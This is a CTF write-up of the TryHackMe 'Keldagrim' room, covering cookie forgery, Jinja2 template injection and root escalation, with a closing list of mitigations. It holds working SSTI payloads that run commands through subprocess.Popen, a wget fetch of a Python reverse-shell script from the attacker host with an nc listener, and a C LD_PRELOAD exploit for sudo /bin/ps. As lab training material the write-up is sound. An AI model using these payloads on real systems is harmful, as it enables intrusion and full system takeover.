TryHackMe Keldagrim WriteUp
This CTF[0] was quite a lot of fun so I decided to make a WriteUp for it. I’m writing this after I solved the CTF unfortunately, but I try to write new ones while I am working on the CTF next time. Documenting the mistakes made during the attempts to solve CTFs will be more interesting I believe.
Portscan
Usually I start with a portscan to see what services are running on the machine. For Keldagrim these are:
$ nmap -sV -p- -Pn 10.10.88.240
<...>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
<...>
The portscan shows us, that there is an SSH
service and python
webserver running.
Inspecting the website
Next I looked at the website to see what it is offering and how I can interact with it. Usually I try look for input fields, GET
parameters or even login forms. Keldagrim mimics a gold buying service for MMOs but there are no input fields of interest. There is a deactivated Admin
link (/admin
)in the menu bar, but following the link does not lead to any page of interest (yet).
After inspecting the next interesting information are header fields, cookies and WebStorage - Keldagrim has a session cookie set, that looks like this:
Z3Vlc3Q=
The equal sign at the hint that the session value could be a base64 encoded string:
$ echo "Z3Vlc3Q=" | base64 -d
guest
Login as admin
What happens when we change the session value from guest
to admin
?
$ echo "admin" | base64
YWRtaW4K
This won’t work, as the padding is missing. Using another tool to encode the admin
string, we get YWRtaW4=
. Changing the session value to the new string will allow us to visit the /admin
page.
Becoming rich
The /admin
page shows us the following:
Current user - $2,165
that initially made me sad, as I thought there would be something more useful (e.g. an upload form). I also noticed a new session variable called sales
- so the first thing that I did was decoding it:
echo "JDIsMTY1" | base64 -d
$2,165
The same string that is rendered on the page is also encoded in a session cookie - what happens when we change it?
echo "\$1,000,000" | base64
JDEsMDAwLDAwMAo=
Entering this encoded string will actually print
Current user - $1,000,000
We’re rich now! In theory this now can be used for XSS attacks if we’d be able to reach the cookies of a target user. But this is a CTF, so another user does not exist where this can be useful. My next thought was: Does the server use that information or is it only used for visualization in the GUI and the backend does not care about this value? Maybe it is just a trap that the developer placed to distract us.
Detect where text can be injected
After playing around with the values of the cookie I received a 500
- this clearly indicates, that the value is somehow used. Is it used in the backend for rendering? A way to check who is rendering the content is by looking at the server response. In this case the encoded string is already send from the server back to us. It is not inserted by Javascript on the client side, which means the server processes that value, inserts it into a template and sends it back.
Injecting code into templates
As the encoded text is inserted into the template at the backend side, we now need to know if we can exploit this and to what extent. To inject malicious code into the template we first need to know which template language is used in the backend. The nmap scan showed us, that python
is used as a webserver and more specifically werkzeug
. The template language used in the tutorials of werkzeug[1] is Jinja2
.
After I got to know this, I searched for ways to include files into the template (e.g. /etc/shadow) but I did not get this working. I tried serveral things until I ended up on this page[2]
The section Payload development from 0
was the most useful for me. A better description of the technique can be found here[3]
The basic idea behind this is to traverse the class hierarchy until a useful class can be found. So to start the following string needs to be encoded in base64 and set as the sales
cookie value:
{{get_flashed_messages.__class__.__mro__[1].__subclasses__()}}
This will show a list of classes. In these classes we want to find one that is suitable for exploitation. As also mentioned by [2] subprocess.Popen
is a useful one.
Using binary search as described in the article we will find Popen
to be at index 401
. This allows us now to execute arbitrary commands!
Whoami
As an example, we can check as which user the webservice is running, using:
{{get_flashed_messages.__class__.__mro__[1].__subclasses__()[401](["whoami"], shell=True, stdout=-1).communicate()}}
which returns:
Current user - (b'jed\n', None)
Wenn der Berg nicht zum Propheten kommt…
From here I tried to spawn a bash or netcat reverse shell, but did not succeed. To solve this I uploaded a python reverse shell script using wget
:
The python reverse shell:
import pty;
RHOST=""
RPORT=4444
import sys
import socket
import os
import pty
s=socket.socket()
s.connect((RHOST,RPORT))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
Python webserver to deploy the shell.py
script:
python -m http.server
Decoded cookie value that gets it:
{{get_flashed_messages.__class__.__mro__[1].__subclasses__()[401](["wget", "http://10.x.x.x:8000/shell.py"], stdout=-1, stderr=-1).communicate()}}
The shell listener (attacker machine):
nc -lvnp 4444
Executing the shell by injecting the following cookie:
{{get_flashed_messages.__class__.__mro__[1].__subclasses__()[401](["python3", "./shell.py"], stdout=-1, stderr=-1).communicate()}}
Gaining persistence:
python3 -c 'import pty; pty.spawn("/bin/bash");'
export TERM=xterm
Ctrl+Z
stty raw -echo;fg;
After these steps we obtained a proper shell and are able to find the first flag in the users home directory. (The flag can be obtained before already by using the command injection method described above)
Privilege escalation
To escalate privilages I first search for SUID executables first:
jed@keldagrim:~$ find / -perm /4000 2>/dev/null
/bin/su
/bin/ping
/bin/mount
/bin/umount
/bin/fusermount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/newgidmap
/usr/bin/at
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/authbind/helper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
and check what files I am allowed to run as sudo:
jed@keldagrim:~$ sudo -l
Matching Defaults entries for jed on keldagrim:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
env_keep+=LD_PRELOAD
User jed may run the following commands on keldagrim:
(ALL : ALL) NOPASSWD: /bin/ps
and this already shows us the route for privilege escalation. The env_keep+=LD_PRELOAD
allows us to inject shared objects into processes before we run them. In case of /bin/ps
which we are allowed to run as root, we can inject code that gets executed as root.
How exactly this can be exploited can for example be found here[4]
The c file:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
(note the additional include, which is not mentioned in the reference)
needs to be compiled with:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
and after the shell.so
has been compiled, we can inject it into the ps call like this:
sudo LD_PRELOAD=/tmp/shell.so /bin/ps
and we will be root. The root flag can be found in the /root
directory.
Mitigation
- Don’t use encoded usernames in cookies as session ids. Use proper unique session IDs that cannot be cracked easily.
- Sanitize and validate user input
- Run services with the least (sudo) priviliges possible - make them require a password for sudo.
References
[0] https://tryhackme.com/room/keldagrim
[1] https://werkzeug.palletsprojects.com/en/1.0.x/tutorial/#step-8-template
[2] https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
[3] https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
[4] https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/